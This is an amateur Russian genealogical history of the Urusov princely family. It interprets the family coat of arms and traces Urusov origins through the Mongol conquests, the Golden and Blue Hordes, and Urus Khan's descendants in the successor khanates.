В первой части щита герба Урусовых изображен всадник на белом коне со стрелой в левой руке на голубом поле. Голубой фон символизирует небо, олицетворявшее для древних тюрок верховное божество, Тангрихана-Тенг-ри-Тейри, которому они поклонялись. Цвет знамен древнетюркских племен тоже был голубым. Возможно, голубой цвет в гербе Урусовых говорит о тюркском происхождении этого рода. Из других цветов в первой части щита отметим белый (окрас коня), который, по тюркской символике, свидетельствует о высоком положении в обществе владельца герба или о его благородном происхождении. Из других атрибутов первой части щита отметим стрелу в руке всадника. У многих восточных народов изображение одной стрелы – символ смутных времен, беды, а изображение трех перекрещенных стрел – символ единения и безопасности. Всадник на белом коне со стрелой в руке предупреждает своих соплеменников об опасности и призывает их к единству и согласию.
Во второй части щита, на серебряном поле, татарин держит в правой руке сокола. По- видимому, человек в татарском одеянии с соколом в руке и есть не кто иной, как бий (князь) Балтычак, предок рода Урусовых. История свидетельствует, что бий Балтычак, будучи пленен, попал на службу к монгольскому хану Тохтамышу и был некоторое время его сокольничим. Впоследствии Балтычак был казнен по приказу Тохтамыша.
В третьей части щита, на золотом поле, лук со стрелой, летящей вверх.
В четвертой части щита, на зеленом поле, помещен золотой лев, пронзенный в челюсть двумя стрелами. Можно предположить, что этот сюжет отражает воинские победы представителей рода Урусовых над своими врагами. Зеленый цвет – цвет жизни. Но в этот цветущий мир, мир жизни часто врывались войны, в которых к предкам рода Урусовых ратная фортуна была благосклонна, о чем свидетельствует поверженный лев.
В пятой части щита, на голубом поле, – дракон, мифическое животное, выражающее мотив «опасности» такого характера, каким являлись нашествия татаро-монгол или другие подобные бедствия.
В шестой части щита, на золотом поле, - агнец, символ скотоводства и благосостояния.
Итак, герб рода Урусовых – это щит, разделенный на шесть частей, Возникает вопрос, случайно ли это разделение? Ответом на этот вопрос могут быть некоторые философские воззрения восточных народов древности. В частности, у древних тюрок деление на шесть частей символизировало шесть основных элементов, сопутствующих человеку в его земной жизни: жизнь и смерть, небо и земля, огонь и вода.
Наряду с основным щитом в гербе князей Урусовых представлен малый щиток, находящийся посреди герба. На красном поле – золотая луна, рогами влево, окруженная четырьмя золотыми шестиугольными звездами. Малый щит, по всей видимости, олицетворяет неотъемлемый атрибут воинского снаряжения – боевой щит; красный фон является образным цветом войны, крови. Золотая луна – основной ориентир скотоводов-кочевников, перегонявших свои стада зачастую в ночное время, почиталась в древности многими восточными народами. Шестиугольные звезды наряду с пятиугольными, семиугольными и другими являются астральными знаками.
Наконец, осталось отметить следующую характерную деталь: герб князей Урусовых венчает российская княжеская шапка, что свидетельствует о том, что выходцы из рода князя (бия) Уруса служили московским государям. Они, собственно, и явились родоначальниками русской ветви Урусовых, герб которых занял свое место в Общем Российском Гербовнике.
Это русская ветвь князей Урусовых. Но и здесь есть ответвления.
В 1600 году Российский царь Борис Годунов, боясь заговора, отправил в ссылку видных
людей России: Романовых (будущий род царей России), Бельских, Черкасских и Урусовых. Ведь в то время Урусовы в России входили в число 16 видных родов, влиявших на политику России. Урусовы были отправлены:
- в Вологду (417\ 181), где сейчас в этой местности имеется деревня Урусовская;
- в Сибирь (Урал) – в Свердловской области Туринского района имеется также две деревни Урусовых;
- в среднюю полосу России (современные Курская, Липецкая, Московская, Саратовская, Тамбовская, Тульская и Ульяновская области), где имеются также села и деревни Урусовых (Прил. 40).
Кроме этого, Урусовы иммигрировали в США, Францию и другие страны.
Итак, мы рассмотрели уже две ветви Урусовых:
- русская ветвь князей Урусовых, рассмотренная выше;
- ногайская, это основное – откуда произошел род Урусовых, но ведь там нет
фамилии Урусовых, или она затерялась в других фамилиях.

1.ТАТАРЫ.






РОД    УРУСОВЫХ.


 


1.                 Т А Т А Р Ы.


 


Уруcовы - княжеский род татарского
происхождения, родоначальник которого Урус мурза  (шестое колено от Эдигея Мангита) был с 1578
года князем ногайским. Поэтому, прежде чем рассмотреть родословную Урусовых,
надо рассмотреть корни татарского происхождения. Вот на этом и остановимся в
кратком изложении.  


    Татаро-монголы - это название всех народов,
говорящих на тюркско-монгольских языках (монголы Китая, Афганистана, Монголии,
буряты, калмыки и другие народы).


Впервые монголы встречаются в VII - X веках, потомки гуннов и дунов,
обитавших  на территории современной
Монголии и северо-восточного Китая, а затем ураганом пронесшихся по всей Азии и
Европе. Татары - это кочевники Монголии и западного Китая (тюрки). В начале XIII века ряд племен и ханств
объединились или силой были объединены властью Чингиз-хана и образовали единое
монгольское государство. Чингиз-хан (настоящее имя Темурчин) родился в 1155
году, а правил в 1206-1227 годах. Столица – Караколум (между рек Карулен и
Онон) - на стыке границ трех государств: 
Монголии, Китая и России.


Чингиз-хан создал военную
организацию, вовлек в завоевательные войны большинство народов Азии и Европы.
Основной силой его войска была многочисленная и 
подвижная конница, состоящая из кочевников. Он использовал военные силы
завоеванных стран и их технические достижения (осадные орудия и порох).  Войско имело единое командование, крепкую
дисциплину, было хорошо вооружено и по своим боевым качествам превосходило
армии соседних стран. В 1207-1211  были
подчинены народы Сибири, Восточного Туркестана и Северного Китая, в 1215 году
взят Пекин, в 1218 году власть монголов распространилась и на Семиречье  (Средняя Азия). В 1219 году монгольское
войско во главе с Чингиз-ханом (150 тысяч человек)  вторглось в Среднюю Азию. Хорезмшах Мухаммед
рассредоточил свое войско по городам, 
чем облегчил монголам завоевание своих владений. В 1221 году взятием

Хорезма завоевание Средней Азии было завершено. К 1225 году основное войско
ушло в Монголию. Только 30 – тысячный отряд монгольских полководцев Джебе и
Субедея продолжал войну на западе. Через северный Иран монгольский отряд
ворвался в Закавказье, опустошил часть Грузии и Азербайджана, по берегу Каспийского
моря проник в земли алан (1223 год), и, разгромив их, вышел в половецкие степи.
В битве на реке Калке 31 мая 1223 года монгольский отряд победил объединенное
русско-половецкое войско, преследовал его до реки Днепр, а затем отступил на
среднюю Волгу,  потерпев поражение в
Булгарии Волжско-Камской, вернулся в Монголию (1224г). Это был глубокий
разведывательный рейд монгольской 
конницы, подготавливавшей будущий поход на запад.


  
После избрания Великим ханом Угедея (1228-1241гг.) монгольские завоевания
шли в двух направлениях. На востоке было завершено завоевание Северного Китая
(1231-34гг), большая часть Кореи (1273). 
На западе были менее успешные дела. В 1229 году в районе реки Яик (Урал)  были вытеснены из прикаспийских степей
половцы, но в 1232 году не были допущены в 
Волжско-Камскую Булгарию. Продолжали борьбу с завоевателями и башкиры.
Наступление на запад силами одного улуса Джучи потерпело неудачу.


  
На курултае 1235 года было решено направить в помощь Бату (хану улуса
Джучи)  военные силы других улусов. В
походе участвовало 14 ханов-чингизидов. 
Войско достигало 150 тыс. человек. Осенью 1236 года монгольское войско
вновь вторглось в Волжско-Камскую Булгарию и разгромило ее, весной и летом 1237
года оно продолжало сражаться с аланами, половцами и народами среднего
Поволжья, а осенью сосредоточилось в районе современного Воронежа для похода на
северо-восточную Русь. За зиму 1237-38 гг. Батый,  разбив разрозненные дружины местных князей
Руси, захватил  последовательно Рязань,
Коломну, Москву, Суздаль, Владимир, Ростов, Ярославль и Тверь. Все междуречье
Оки и Волги было опустошено монголами. Из-за начавшейся оттепели монголы не
пошли на Новгород.  При отступлении в
степи монгольское войско шло широким фронтом мелких отрядов, еще раз подвергнув
русские земли опустошению.


     В половецких степях  (1238-40) 
монгольское войско вело затяжную войну с половцами и аланами, совершило
походы в Крым, в Мордовскую землю, Чернигов. Осенью 1240 года


начался поход на южную Русь. В
конце декабря после многодневного штурма пал Киев. Весной 1241 года монгольское
войско, хотя и значительно ослабленное героическим сопротивлением русского
народа и других народов Восточной Европы, все же прошло дальше на запад.
Главные силы Батыя через карпатские перевалы прорвались в Венгрию, разрушив
значительную часть страны. Другой отряд монголов разбил войска Польши,  разорил польские, моравские и словацкие
земли, но в восточной части Чехии был отбит. Закрепиться в венгерских степях
монголам для дальнейшего продвижения на запад не удалось, и они через Австрию и
Хорватию вышли к Адриатическому морю. Осенью 1242 года после безуспешной осады
прибрежных крепостей Батый через Сербию и Болгарию начал отступление. Вторжение
монголов в Центральную Европу закончилось.


     Несколько более продолжительными были
завоевания монголов в Малой Азии и на Ближнем Востоке. После завоевания
Закавказья (1236) монгольское войско разгромило Румский султанат. В 1256 году
Хулагу завоевал Иран и Двуречье, в 1258 пал Багдад - столица Арабского
Халифата. Монгольские войска проникли в Сирию, готовились к вторжению в Египет,
но в 1260 потерпели поражение. Во второй половине  XIII века монгольские войска захватили Тибет. После смерти Мунке
(1260) южный Китай был покорен новым Великим ханом Хубилаем в 1267-79 годах. В
1281 монгольские ханы пытались завоевать Японию, направив к ее берегам 1000
кораблей со 100-тысячной армией, но флот был уничтожен тайфуном. Монгольские
войска после нескольких походов (1287-1291) заняли Бирму. Отстояли свою
независимость Вьетнам и государства Индокитая, остров Ява. После 1300 года
монгольские ханы прекратили активные действия и перешли к планомерной
эксплуатации завоеванных стран, используя китайский опыт управления и китайскую
администрацию.


     Монгольские завоевания принесли бедствия
народам Азии и Восточной Европы. Они сопровождались массовым уничтожением
населения, опустошением огромных территорий, разрушением городов,  надолго задерживали развитие стран,
захваченных монголами.


 Чингиз-хан завоевал территорию от Тихого
океана до Волги, от Северного до Индийского океанов (Сибирь, Средняя Азия,
Северный Китай и Кавказ). Его преемники покорили Россию, Западную Европу,
Закавказье, Иран, Афганистан, Корею и южный Китай, вели борьбу с Вьетнамом,
Индией, Японией и другими странами. Так как территория захвата была огромна, то
Чингиз-хан разделил завоеванные земли между своими сыновьями Джучи, Чагатаем,
Угедеем и Тули.


Младший Тули (Толуй) (прим.12б)
получил улус в Монголии во владениях отца. Дружил с Джучи, сын которого Бату в
1251 году помог сыну Тули Менгу захватить монгольский престол и закрепить его
за этим родом. Великие ханы, наследники Тулии, правили вначале всей гигантской
империей чингизидов, а с конца XIII века  только Монголией
и Китаем, куда с Каракорума в Пекин Хубилай перенес столицу (до 1368г.), и
далее только Монголией (до 1634г.). В Китае наследники получили название
династии  Юань.


     Третий сын Чингиз-хана был Угедей
(прим.12а). Он был мягкий, склонен к алкоголю, но мог договариваться с другими,
поэтому отец назначил его преемником над двумя старшими братьями Джучи и
Чагатаем, которые не выносили друг друга. После смерти Чингиз-хана в 1227 году
Угедей был избран Великим ханом. При нем было завершено завоевание южного
Китая, Азербайджана, Армении и Грузии. В 1236 он организовал поход Бату на
Запад.


     Второй сын Чагатай (прим.11б). Он брал
участие в завоевании Китая и Хорезма, хотя не отличался так, как Джучи. За
поход он получил в улус земли в Средней Азии (1224г.) (современный юго-восток
Казахстана, южнее озера Балхаш), основал ставку 
на реке Или. Чагатай отказался от престола, после смерти Чингиз-хана,
жил в Каракоруме, славился как знаток монгольских законов, справедливый
правитель. В Чагатайском (Джагатайском) улусе на территории Мавераннахра,
Семиречья и Восточного Туркестана правили наследники Чагатая неудачно. В конце XVI века улус был разделен на
несколько частей, а затем захвачен другими чингизидами.


     Джучи (прим.6а,7а),  старший сын Чингиз-хана, владел самой большой
территорией, от реки Иртыш до последнего моря на западе. Джучи был хорошим
полководцем, он брал участие в китайском и киргизском походах, захватил
территорию Средней Азии, разбил войско Хорезмшаха Мухаммеда, Хорезм. Джучи стал
жертвою заговора братьев и дяди Утчичина с подачи самого Чингиз-хана в 40 лет.
Улус Джучи был разделен уже между его сыновьями (четырнадцать).


     Старший сын Джучи  Бату (Батый) (прил.1а-2а) завоевал территорию
от Волги до Адриатического моря, от России до Индии (Булгария, Поволжье, Дикое
поле, Русь, Крым, Киев, Западная Европа, Средняя Азия). Великий хан Монголии
оказал помощь как войском, так и техникой. Были посланы 14 чингизидов, каждый
со своим войском. С 1236 по 1242 год была захвачена вся эта территория. После
выхода монгольских войск к Андриатическому морю Батый хотел продолжать воевать
дальше, но смерть Великого хана Угедея и перспектива прихода к власти
двоюродного брата Гаюка (вражда с ним) не позволила Батыю продолжать поход до
последнего моря.


 
В 1242 году Бату вернулся на берег Волги, где была одна из красивых и
удобных территорий для ведения кочевого 
хозяйства и где пересекаются все пути торговли с разными странами, чтобы
заложить новое государство  Золотую Орду
с новою столицей  Сараем (около
Астрахани). Бату сделал выбор  в пользу
нового государства, отказавшись от престола Великого хана (1251г.), оказав
помощь наследникам Тули. Золотая Орда как государство сформировалась в 1242
году. Как все монгольские улусы она делилась на две части (правый и левый
фланги). Восточный (правый) фланг Золотой Орды (З\О) имел название Ак-орда
(Синяя Орда), ею владел брат Бату – Орду. Западный (левый) фланг З\О – Кок-орда
– принадлежал третьему брату Бату – Берке. Левый фланг занимал территорию
Поволжья и  Северного Кавказа (пастбища).
Бату разделил свои владения на 12 улусов, которые входили до обоих флангов
(улус – держава, княжество), владели им чингизиды – близкие родственники Бату.


Золотая Орда представляла пестрое
население, кочевники, полное разорение захваченных земель, упадок экономики и
культуры. Россия находилась под игом Батыя и его наследников триста лет, она
спасла Европу от захвата,  так как Бату
боялся в тылу своих войск оставлять свободолюбивый народ «УРУСОВ» (так татары
называли русских). Бату не оставил сильных наследников (прил.1а-2а),
поэтому  после его смерти в З\О
периодически происходила борьба за власть. Берке (брат Бату) перенес столицу в
Сарай - Берке (около Волгограда) и первым из татар принял мусульманство из
Египта. При нем З\О стала самостоятельным государством, отделившись от
центрального татаро-монгольского государства.


       После Берке правили слабые внуки Батыя и
фактическую власть в З\О захватил Ногай (1267-1300) (прил.1б,6а) – правнук
Джучи. Он был не чингизид (дед был от наложницы), поэтому правителем быть не
мог. Он был сильным организатором, руководителем, боролся за власть,
устанавливая нужных ему ханов (ногай - бешеная, бродячая собака). Жена –
побочная дочь Императора Византийской Империи. Он осуществил 14 походов против
России, имея свои родовые  дунайские
земли. Но как всегда,  у сильного
отца  (Батый, Ногай) слабые сыновья,
которые враждовали между собой, убивали друг друга. Ногай в 1300 году был убит
Тохтой. Во время правления Эдыгея (род Урусовых, а возможно и сам Эдигей,
преемник Ногая) именем Ногая стал называться народ ногайский, который проживает
и  в настоящее время.


     Во время правления Тохты, Узбека  и Джанибека (прил.1б-2а) З\О достигла
максимального подъёма военного могущества.


     Русские княжества не вошли непосредственно
в состав З\О и сохранили местную княжескую администрацию, деятельность которой
контролировалась басками и другими представителями монголо-татарских ханов.
Русские князья были данниками татар и получали от них ярлыки на владение своими
княжествами. На территории Руси не было постоянного монголо–татарского войска.
Монголо–татарское иго поддерживалось карательными походами и репрессиями против
некоторых князей. В 1257-1259 годах была произведена перепись Руси для сбора
дани. Ежегодно из русских земель уходило в виде дани огромное количество
серебра. «Московский выход»  составлял
5-7 тысяч рублей серебром. Периодически собирались большие «запросы» на военные
и другие нужды. Кроме того, русские князья были обязаны по приказу хана
присылать воинов для участия в походах. «Ордынские тягости» истощали экономику
Руси, поэтому периодически происходили народные восстания и выступления русских
князей. В 1285 году Великий князь Дмитрий, сын Александра Невского, разгромил и
изгнал карательное войско «ордынского царевича»; к 1320 году была ликвидирована
система баскачества. С усилением Московского княжества монгольское иго
постепенно ослабевает. Московский князь Иван I Калита (княжил 1325-40) добился права собирать «выход» со всех
русских княжеств. С середины XIV
века распоряжения ханов З\О, не подкреплённые реальной военной силой, русскими
князьями уже не выполнялись.


      Смуты, 
начавшиеся в 1357 году убийством Джанибека, свидетельствовали о начале
раскола и распада З\О. С 1357 года по 1380 год на золотоордынском престоле
пребывало более 25 ханов (прил.1б). В 60-70-х 
годах фактическим правителем стал темник (нечингизид) Мамай
(прил.1б,2а,6а). За это время он захватил Крым и удерживал власть в З\О с 1362
по 1380 годы. В начале   60-х годов XIV века от З\О отпал Хорезм
(южнее Аральского моря);  Польша и Литва
захватили земли в бассейне реки Днепр. Мамаю пришлось, кроме того, столкнуться
с усилившимся союзом русских княжеств во главе с Москвой. Попытка Мамая (путем
организации грабительского похода) вновь ослабить Россию привела к разгрому
татар в Куликовской битве в 1380 году, в этом же году другой хан, Тохтамыш,
захвативший власть в Синей Орде (С\О), разбил Мамая на реке Калке, где
когда-то, в первый раз, татары разбили 
русское войско.  Мамай бежал в
Крым, где был убит в Кафе (Феодосия).


В 1382 году Тохтамыш совершил
поход на Русь, взял Москву. Русь была вынуждена снова признать власть
монголо-татарских ханов и выплачивать дань, но уже московский князь Василий I (1389-1425) получил великое
княжение без ханского ярлыка, как «свою вотчину». При нем монголо-татарское иго
носило номинальный характер. Дань выплачивалась не регулярно,  русские князья проводили в значительной
степени самостоятельную политику.


  
Попытка правителя  З\О  Эдыгея 
(1408г.) (прил.1б) полностью восстановить власть над Русью окончилась
неудачей, взять Москву ему не удалось. Начавшиеся в З\О  усобицы поставили под вопрос дальнейшее
сохранение татаро–монгольского ига. О том, 
насколько упал престиж хана в начале XV века, свидетельствует ярлык 
Эдыгея сыну Дмитрия Донского Великому князю Василию I. Эдыгей жаловался на невнимание к
ханским послам, на нежелание Руси платить дань и даже не требовал, а буквально
умолял собрать «старые оброки». После Эдигея 
распад З\О возобновился и шел ускоренными темпами. Золотая Орда распадалась
на отдельные полусамостоятельные улусы, которые в зависимости от успехов или
неудач тех или иных ханов то временно объединялись под одной властью, то снова
обособлялись, взаимно ослабляли друг друга в военных столкновениях. К середине
века в нескольких больших улусах утвердились свои ханские династии и З\О как
единое целое окончательно прекратила свое существование, начался захват власти
уже другими родами разросшихся ветвей большой семьи Чингиз-хана:


         -районы Украины захватили Польша и
Литва;


         -Ногайская Орда с 1395 по 1770 год,
вошла в состав России;


         -Сибирское ханство с 1420 по 1598 год,
захвачено Россией;


         -Большая Орда с 1434 по 1502 год,  захвачена Россией;


         -Казанское ханство с 1437 по 1556 год,
захвачено Россией;


         -Крымское  ханство с 1443 по 1792 год,  вошло в состав России;


         -Узбекский союз, с 1428 по 1500
год,  вошел в состав России;


         -Астраханское ханство с 1465 по 1556
год, захвачено Россией;


         -Казахское ханство с 1465 года, вошло
в состав России.


В эти годы различные орды
организовывали ряд опустошительных вторжений, но восстановить своё владычество
над Русью уже не смогли. Политическое объединение русских земель вокруг Москвы
создало условия для ликвидации татаро-монгольского ига. Великий князь Иван III (1462-1505)
в 1476 году отказался от уплаты дани. В 1480 году после неудачного похода хана
Большой Орды Ахмата татаро-монгольское иго окончательно  свергнуто. Но даже после поражения Ахмата в
продолжение  более двух десятилетий
отношения России с Большой Ордой часто регулировались военными акциями
достаточно крупного масштаба.


     Вторым сыном Джучи  (в некоторых источниках – старший, и даже
младший) был Орду (Орду-Ичня). От него идёт род Урус-хана (но не Урусовых, а
может и Урусовых). После похода Батыя в Западную Европу (1236-1242) он отдал
Орду  «народ, состоящий из десяти тысяч
семейств», в том числе и верховье Иртыша, где жил его отец. По другим версиям
Орду владел восточной частью улуса Джучи еще при жизни отца и, напротив, сам
способствовал приходу к власти Батыя. 
Правители улуса Орду фактически были независимы и не ездили на курултай
к золотоордынским ханам, хотя номинально признавали себя их подданными. В улус
Орду входили земли северо-восточной части Семиречья, обширный район бассейна
Иртыша, степи Казахстана. Территория постепенно расширялась и при  Кончи владела территорией Сырдарьи, куда
переместился политический центр улуса (столица Сыгнак). Фактически с середины XIII века улус Орда стал
самостоятельным государством, получившим в восточных источниках наименование
Ак-Орда (русские - Синяя Орда). В XIV и начале XV
веков под Синей Ордой (С\О) источники понимали огромную территорию казахских
степей от реки Урал до Западно-Сибирской низменности, включая низовья и среднее
течение Сырдарьи. Ханы  С\О (прил. 3а-4а)
благоустроили Сыгнак, Отрар и другие среднеазиатские города. Эрзен впервые
начал строить каменные дворцы, мечети, медресе (сейчас в развалинах  г. Сугнак 
Курчан), установил связи с Египтом и мусульманство в своём
государстве.   Ханы чеканили монеты от
своего имени. Синяя Орда в период распада З\О укрепилась.


С 1360-х годов ханы С\О начали
активно участвовать в борьбе за золотоордынский престол, особенно хан УРУС. Источники характеризуют его как
сильного и могущественного правителя с решительным характером, но он
сварливый,  имел трудный характер. Это
противоречивая фигура. Некоторые источники дают его род от 13 сына Джучи –
Тука-Тимура (прил.10а), т.е, он как бы являлся братом Тохтамыша, с которым
борьба так трагично для самого Уруса и его сыновей закончилась. Он сам и его
три сына умерли или были убиты за короткий период с 1375 по1379 год. С середины
XIV века Урус-хан
овладел Сараем ( З\О), осаждал Хаджи-Тархан ( Астрахань), подчинил на некоторое
время земли камских булгар в урусхановский юрт, но был вынужден возвратиться на
берега Сырдарьи, где на южных границах С\О развернул агрессивные действия
правитель Средней Азии эмир Тимур (Тамерлан).


      Политику объединения восточной и западной
частей улуса Джучи продолжали Мамай, временщик З\О (1362-1380), и Тохтамыш
(1379-1395), ставленник Тамерлана. Конечно, борьба за власть С\О и З\О велась
ожесточенно и с другими ветвями джучидов, хотя бы со знаменитым Тохтамышем. Он
был из рода Тука-Тимура (сын Джучи) (прил.10а), сын Туи Ходжа, которого убил
Урус-хан (в то время Урус-хан был ханом С\О). 
Тохтамыш вел борьбу с Урус-ханом при поддержке Тамерлана, но четыре раза
был разбит, хотя в этой борьбе погибли три сына и сам Урус-хан умер. После
смерти Урус–хана  Тохтамыш захватил
власть в С\О (1379),  а затем и в З\О
(прил.1б,10а).  Для укрепления своей
власти он вел непрерывную борьбу с Россией и с самим Тамерланом, который помог
ему захватить власть. В конечном итоге, Тохтамыш был разбит сначала Тамерланом,
а затем внуком Урус-хана  Тимур-Кутлугом.
Тохтамыш бежал в Киев (Литва), далее в Сибирь, где в 1405 году был убит ханом
Шадибеком (ставленник Эдигея), но оставшиеся 13 сыновей Тохтамыша продолжали
вести борьбу за власть в С\О  и  З\О уже с детьми Урус-хана.


     Освободительная  борьба русского народа, а также разорительные
походы Тамерлана потрясли могущество З\О, 
низведя её на положение второстепенного государства. Тамерлан сажал в
З\О своих ставленников уже из дома Урус-хана (прил.1б), но они не смогли
восстановить её былое влияние.


    В России Урус-хана знают мало, так как он в
основном воевал или имел торговые связи со Средней Азией,  мусульманскими странами. Хотя сыновья
Урус-хана умерли (убиты) рано, но зато внуки и правнуки были сильны и  в скорости захватили большую часть
территории:


      -Золотой Ордой владел сам Урус-хан
(1377-78);  его сыновья Токтакия (1378),
Тимур Мелик (1378-1379), Куюрчак (1395-96); его внуки Тимур-Кутлуг (1396-1400),
Сеид Ахмед (1443-59), Барак (1423-27) и Дервиш (1417-20); его правнуки Тимур
(1410-12) и Шадибек (1401-07) и их сыновья Кичи-Мухаммад (1431-43), Булат
(1407-10) (прил.1б,3аб,4а);


     -Большой Ордой (Б\О) за время её существования
с 1434 по 1502 года владели сыновья Кичи Махмуд (1459-66) и Ахмад (1466-81) и
сыновья Ахмада одновременно с 1481 по 1502год (прил.1би3б);


    -Астраханское ханство основал и постоянно
владел им сын Кичи Махмуд,  его сыновья и
внуки с 1465 по 1556 год (прил. 5а);


    -Касимовские царевичи – внук Махмуда Шейх
Авлияр и его сыновья  Шиг Али и Джан Али
(вместе с 1512 по 1566), а также Саин Булат 
(Семён) (1566-73) (правнук Ахмата) (прил.3б). Кроме того, Касимовским
царевичем  (1600-10) был и потомок
Урус-хана и Барака Ураз-Мухаммед (Даир-султан) (прил.5б), которого убил
Лжедмитрий II, а того в
свою очередь Петр Урусов;


    -Казанским ханством владели те же братья
Шиг и Джан Али и их дядя Едигер Магнет (Яднар) с 1519 по 1556 год  (прил.3б,10б);


    -Бухарским ханством – преемники Джан Али
(1599-1753) (Джаниды-Аштерханиды) (прил.3б,6б);


    -Казахское ханство основали сыновья Барака
(внук Урус-хана) Гирей и Джанибек с 1456\1465 годов  в районе долин рек Чу и Таласа (Казахстан)
(прил.4б,5б);


    -Киргизские орды (Большая, Средняя и
Малая  Киргиз Кайсацкие Орды) основаны
преемниками Джанибека, сына Барака (прил.4б,5б);


    -Хивинским ханством с конца XVII века до 1763 года
управляли чингизиды С\О,  наследники
Барака  (прил.46).


С появлением новых
государственных объединений на развалинах З\О 
Джучиев улус как государство фактически перестал существовать. С
отпадением восточных земель (Ногайская Орда, Сибирское ханство, Узбекский союз)  под властью ханов З\О осталась лишь часть её
владений, расположенных к западу от Волги. Однако и за эту сравнительно
небольшую по размерам территорию шла ожесточенная борьба. Девлет-Берды,
провозглашенный ханом летом 1427 года, правил, главным образом, Крымом и
прилегающими к нему землями, остальная часть З\О  на западе оставалась в руках Улуг-Мухаммеда и
Барака. С образованием Казанского ханства в 1437 году и отпадением его от
Джучиева улуса хан Кичи Мухаммед, овладевший Дешт-и-Кипчаком (Кипчакская степь),
лишился одной из богатейших областей государства. Владения Кичи после отпадения
восточных улусов, Сибири и Казанского края были еще громадные, но уже не
существовало З\О в прямом смысле этого слова. Современники не случайно назвали
её не золотой, а Большой ордой. Кичи называли ханом как Большой орды, так и
Крыма (1431-43). Он избрал впервые столицу Крыма  Бахча-Сарай, сделал его своим
местопребыванием. В 1443 году получило 
самостоятельность Крымское ханство, которое  враждебно относилось к Большой орде. Сначала
в 1455, а затем в 1465 году Б\О потерпела поражение. Хан Б\О  Махмуд бежал в Астрахань и там образовал
самостоятельное ханство, а вместо него ханом Б\О  стал его брат Ахмад,  который победил крымского хана  Менгли Гирея, но турецкий султан помог
последнему возвратиться. Соперничество Крыма и Большой орды возобновилось. Но
ещё больше усилилось давление Б\О  и
Казанского ханства на Россию.    Походы с
1439 по 1448 год казанских ханов, с 1449 по 1480 год хана Ахмада , который
прекратил многовластие в Орде и временно объединил всю Б\О. В сложной
международной и внутренней обстановке царь Российский Иван III принял оборонительный, «самый
надежный» план войны. Принял, последовательно провел в жизнь и добился победы с
минимальными потерями.


    В 1480 году противостояние на реке Угре
войск Ахмеда и русских закончилась отходом войск Ахмеда, где их уже
поджидали  соперники. Борьба закончилась
гибелью Ахмеда.  Обманным путем его убили
царь Сибирский Ивак ногайский и его шурин ногайский мурза Ямгурчей (брат Мусы
ногайского - деда Урус князя, родоначальника Урусовых). Снова встреча родов
Урус-хана и Эдигея (Урус князя). 
Переход  Б\О в руки наследников
Ахмад-хана – «Ахматовы дети» привел к уменьшению активной способности её, но
грабительские нападения на Россию и Крымское ханство продолжались до полного
распада Б\О  в 1502 году. Последний удар Б\О
нанес царь Перекопский (Крымский) Менгли-Гирей, разбив Шейх-Ахмада, царя
Заволжского  (Большой орды) зимой, а
затем и летом 1502 года.


     К тому времени Узбекский союз  (прил. 5а) Абулхаира, являвшийся временным
военно-политическим объединением, состоящий из различных народов и племен,
вступил в полосу кризиса.   После
убийства Ваккаса (внук Эдигея), старшего эмира Абулхаира, от узбеков отделились
мангиты, караколпаки, а затем значительная часть кочевников начала
группироваться вокруг царевичей Джанибека  
и  Гирея, сыновей Барака (внук
Урус-хана), ждавших удобного момента, чтобы отделиться от узбеков; и этот
момент наступил в 1451 году, когда калмыки разбили узбеков. Большая часть
кочевников-казахов ушла с сыновьями Барака. Со смертью основателя Абулхаира в
1468 году узбекский союз начал распадаться; остатки узбеков, теснимые с одной
стороны казахами, с другой – ногайцами, ушли в Среднюю Азию, слились с местными
тюркскими племенами и участвовали в образовании узбекского народа.   Джанибек и Гирей бежали в Могулистан, где им
отвели место в долине рек Чу и Таласа. В последствии  распад 
узбекского союза усилился, 
количество беглецов увеличилось. Так как 
сперва они сами, а потом большая часть собравшихся около них людей  одно время 
были беглецами, ушедшими от своих и оставшиеся без приюта, то их
называли      к а з а х а м и, название
это за ними и осталось. После распада Могулистана и Ногайской Орды этноним
«казах» естественно включил в себя население Семиречья и западной части
Кипчакской степи и закрепился как наименование народности, понятие «Казахстан»
как название территории ее обитания. Возникновение Казахского ханства протекало
на территории Казахстана в XIV
- XV веках и начало ему
положили сыновья Барака Джанибек и Гирей, откочевавшие на территорию
юго-западного Семиречья в Могулистан. По словам источника, «Кирай-хан был
назван государем» (Гирей-хан) в 1456-1465 годах (прил.5б). Последние три
десятилетия XV века –
это укрепление казахского ханства, обострение борьбы казахских ханов за
прилегающую территорию с Мухаммадом Шайбани (1500-1510), Ибаком, ногайскими
мурзами, ханами Б\О,  остатками
Узбекского союза. Под власть ханов Джанибека и Гирея, а затем Бурундука и
Касыма постепенно переходили все новые и новые роды и племена. Но период
становления Казахского ханства при Джанибеке и Гирее (1456-1480) (прил.4б),
расцвета при Бурундаке и Касыме (1480-1523) переходил в упадок, дробление при
Тахире и Буйдаш, снова переходил в восстановление при Хакк-Назаре (1538-80),
Тевекеле (1582-98), Ишиме (1598-1628). В конце XVI и начале XVII веков на территории Казахстана
образуются три Жуза: Малая Киргиз-кайсацкая Орда, Большая и Средняя Киргизские
Орды, которые были присоединены к России с 1731 по 1845 год.


      Таким образом в Кипчакской степи возникли
новые государственные образования, явившиеся наследниками З\О: Большая Орда,
Ногайская Орда, Казахское ханство и Узбекский союз – кочевые государства, в
которых нашла свое развитие кочевая стихия хозяйства. На периферийных
территориях образовались Крымское, Касимовское и Казанское ханства, в которых
получила значительное развитие оседлая земледельческо-городская экономика.


       Сибирское ханство (прил.8б,9б) является
одним из многих осколков обширной империи Чингиз-хана. Оно выделилось в особое
ханство из среднеазиатских татарских владений довольно поздно, не ранее XV века – в ту эпоху, когда
начались особые царства, Казанское и Астраханское, Хивинское и  Бухарское, особые орды: Ногайская и
Киргиз-Кайсацкая. Сибирская Орда  прежде
называлась Ишимская, Тюменская и Шибанская, а сибирские татары называли ее –
ногайская.


Уже в XIV веке часть  Шейбанидов покидает берега Амударьи,
удаляется на север и утверждается на реке Ишим, притоке Иртыша, столица -
Кизыл-Тура. Это было (легенда) делом бия (князя) (нечингизид) Онсона, который
подчинил себе часть вогулов и остяков, живших по реке Туре, Тоболу и нижнему
Иртышу. Дело его продолжил сын Тайбуга, переселившийся с Ишима на реку Туру и
основавший там свою столицу Чинги-Тура (Чингидин, Тюмень).  Сибирские летописи и грамоты царя Федора
Ивановича представляют род Тайбуги, как весьма влиятельный род в Сибири,
успешно конкурировавший с сибирскими ханами. 
Один из князей «Тайбугина рода» в 1555 году признал себя вассалом Ивана IV и обещался платить дань от
своих 30700 «черных людей». Не принадлежал ли «Тайбугин род» к одному из
отпрысков Орда-Ичня, получивших в свое время бассейн Иртыша, где при Марко-Поло
так крепко «сидел»  Кончи князь (прил.
3аб). Все это были князья  сибирские,
